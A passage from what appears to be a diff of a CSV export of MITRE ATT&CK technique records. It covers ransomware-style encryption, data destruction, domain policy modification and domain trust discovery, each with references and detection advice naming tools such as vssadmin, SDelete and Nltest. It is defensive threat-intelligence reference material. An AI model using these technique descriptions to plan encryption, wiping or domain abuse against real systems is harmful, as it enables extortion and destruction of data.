US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)",False,"['Administrator', 'SYSTEM', 'User']","['Windows', 'Linux', 'macOS']",1.2,,,,,['Availability'],, +attack-pattern,attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-03-15T13:59:30.390Z,2021-08-16T21:07:27.119Z,Data Encrypted for Impact,"Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) -In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1486', external_id='T1486'), ExternalReference(source_name='US-CERT Ransomware 2016', description='US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.', url='https://www.us-cert.gov/ncas/alerts/TA16-091A'), ExternalReference(source_name='FireEye WannaCry 2017', description='Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.', url='https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html'), ExternalReference(source_name='US-CERT NotPetya 2017', description='US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.', url='https://www.us-cert.gov/ncas/alerts/TA17-181A'), ExternalReference(source_name='US-CERT SamSam 2018', description='US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.', url='https://www.us-cert.gov/ncas/alerts/AA18-337A'), ExternalReference(source_name='Rhino S3 Ransomware Part 1', description='Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.', url='https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/')]",attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-04-20 16:39:06.594000+00:00,Data Encrypted for Impact,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Oleg Kolesnikov, Securonix']","['Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Modification', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,,,,"Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. +In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1486', 'external_id': 'T1486'}, {'source_name': 'US-CERT Ransomware 2016', 'description': 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA16-091A'}, {'source_name': 'FireEye WannaCry 2017', 'description': 'Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html'}, {'source_name': 'US-CERT NotPetya 2017', 'description': 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-181A'}, {'source_name': 'US-CERT SamSam 2018', 'description': 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/AA18-337A'}, {'source_name': 'Rhino S3 Ransomware Part 1', 'description': 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.', 'url': 'https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oleg Kolesnikov, Securonix']","['Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Modification', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,"Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. -In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.",,,,['Availability'],False,,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows', 'IaaS']",,,,1.1 -2019-03-14 18:47:17.701000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. +In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows', 'IaaS']",1.2,,,,,['Availability'],, +attack-pattern,attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-03-14T18:47:17.701Z,2021-03-25T14:47:48.728Z,Data Destruction,"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018). -In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1485', external_id='T1485'), ExternalReference(source_name='Symantec Shamoon 2012', description='Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.', url='https://www.symantec.com/connect/blogs/shamoon-attacks'), ExternalReference(source_name='FireEye Shamoon Nov 2016', description='FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.', url='https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html'), ExternalReference(source_name='Palo Alto Shamoon Nov 2016', description='Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', url='http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'), ExternalReference(source_name='Kaspersky StoneDrill 2017', description='Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.', url='https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf'), ExternalReference(source_name='Unit 42 Shamoon3 2018', description='Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.', url='https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/'), ExternalReference(source_name='Talos Olympic Destroyer 2018', description='Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', url='https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'), ExternalReference(source_name='Data Destruction - Threat Post', description='Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.', url='https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/'), ExternalReference(source_name='DOJ - Cisco Insider', description='DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.', url='https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network')]",attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-25 14:47:48.728000+00:00,Data Destruction,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Brent Murphy, Elastic', 'David French, Elastic', 'Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Varonis Threat Labs']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Deletion', 'Image: Image Deletion', 'Instance: Instance Deletion', 'Snapshot: Snapshot Deletion', 'Cloud Storage: Cloud Storage Deletion', 'Volume: Volume Deletion']",,,,,"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. +In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1485', 'external_id': 'T1485'}, {'source_name': 'Symantec Shamoon 2012', 'description': 'Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.', 'url': 'https://www.symantec.com/connect/blogs/shamoon-attacks'}, {'source_name': 'FireEye Shamoon Nov 2016', 'description': 'FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html'}, {'source_name': 'Palo Alto Shamoon Nov 2016', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'}, {'source_name': 'Kaspersky StoneDrill 2017', 'description': 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf'}, {'source_name': 'Unit 42 Shamoon3 2018', 'description': 'Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}, {'source_name': 'Data Destruction - Threat Post', 'description': 'Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.', 'url': 'https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/'}, {'source_name': 'DOJ - Cisco Insider', 'description': 'DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.', 'url': 'https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brent Murphy, Elastic', 'David French, Elastic', 'Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Varonis Threat Labs']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Deletion', 'Image: Image Deletion', 'Instance: Instance Deletion', 'Snapshot: Snapshot Deletion', 'Cloud Storage: Cloud Storage Deletion', 'Volume: Volume Deletion']",,"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. -In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.",,,,['Availability'],False,,,"['User', 'Administrator', 'root', 'SYSTEM']","['Windows', 'IaaS', 'Linux', 'macOS']",,,,1.1 -2019-03-07 14:10:32.650000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. +In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Windows', 'IaaS', 'Linux', 'macOS']",1.1,,,,,['Availability'],, +attack-pattern,attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-03-07T14:10:32.650Z,2021-02-09T15:52:24.598Z,Domain Policy Modification,"Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). -Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1484', external_id='T1484'), ExternalReference(source_name='ADSecurity GPO Persistence 2016', description='Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', url='https://adsecurity.org/?p=2716'), ExternalReference(source_name='Wald0 Guide to GPOs', description='Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.', url='https://wald0.com/?p=179'), ExternalReference(source_name='Harmj0y Abusing GPO Permissions', description='Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.', url='http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/'), ExternalReference(source_name='Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks', description='MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.', url='https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'), ExternalReference(source_name='Microsoft - Azure Sentinel ADFSDomainTrustMods', description='Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.', url='https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml'), ExternalReference(source_name='Microsoft 365 Defender Solorigate', description='Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.', url='https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/'), ExternalReference(source_name='Sygnia Golden SAML', description='Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', url='https://www.sygnia.co/golden-saml-advisory'), ExternalReference(source_name='CISA SolarWinds Cloud Detection', description='CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.', url='https://us-cert.cisa.gov/ncas/alerts/aa21-008a'), ExternalReference(source_name='Microsoft - Update or Repair Federated domain', description='Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.', url='https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365')]",attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-02-09 15:52:24.598000+00:00,Domain Policy Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']","['System access controls', 'File system access controls']",,,,"It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) +Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1484', 'external_id': 'T1484'}, {'source_name': 'ADSecurity GPO Persistence 2016', 'description': 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', 'url': 'https://adsecurity.org/?p=2716'}, {'source_name': 'Wald0 Guide to GPOs', 'description': 'Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.', 'url': 'https://wald0.com/?p=179'}, {'source_name': 'Harmj0y Abusing GPO Permissions', 'description': 'Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.', 'url': 'http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/'}, {'source_name': 'Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'}, {'source_name': 'Microsoft - Azure Sentinel ADFSDomainTrustMods', 'description': 'Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.', 'url': 'https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml'}, {'source_name': 'Microsoft 365 Defender Solorigate', 'description': 'Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/'}, {'source_name': 'Sygnia Golden SAML', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', 'url': 'https://www.sygnia.co/golden-saml-advisory'}, {'source_name': 'CISA SolarWinds Cloud Detection', 'description': 'CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-008a'}, {'source_name': 'Microsoft - Update or Repair Federated domain', 'description': 'Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']","['System access controls', 'File system access controls']","It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) -Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)",,,,,False,,,"['Administrator', 'User']","['Windows', 'Azure AD']",,,,2.0 -2019-02-14 16:15:05.974000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1482', external_id='T1482'), ExternalReference(source_name='Microsoft Trusts', description='Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.', url='https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)'), ExternalReference(source_name='AdSecurity Forging Trust Tickets', description='Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.', url='https://adsecurity.org/?p=1588'), ExternalReference(source_name='Harmj0y Domain Trusts', description='Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.', url='http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/'), ExternalReference(source_name='Microsoft Operation Wilysupply', description='Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.', url='https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/'), ExternalReference(source_name='Microsoft GetAllTrustRelationships', description='Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.', url='https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships')]",attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-09-17 18:26:17.858000+00:00,Domain Trust Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Dave Westgard', 'Elia Florio, Microsoft', 'Mnemonic', 'RedHuntLabs, @redhuntlabs']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Script: Script Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. +Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)",False,"['Administrator', 'User']","['Windows', 'Azure AD']",2.0,,,,,,, +attack-pattern,attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-02-14T16:15:05.974Z,2020-09-17T18:26:17.858Z,Domain Trust Discovery,"Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1482', 'external_id': 'T1482'}, {'source_name': 'Microsoft Trusts', 'description': 'Microsoft. (2009, October 7). Trust 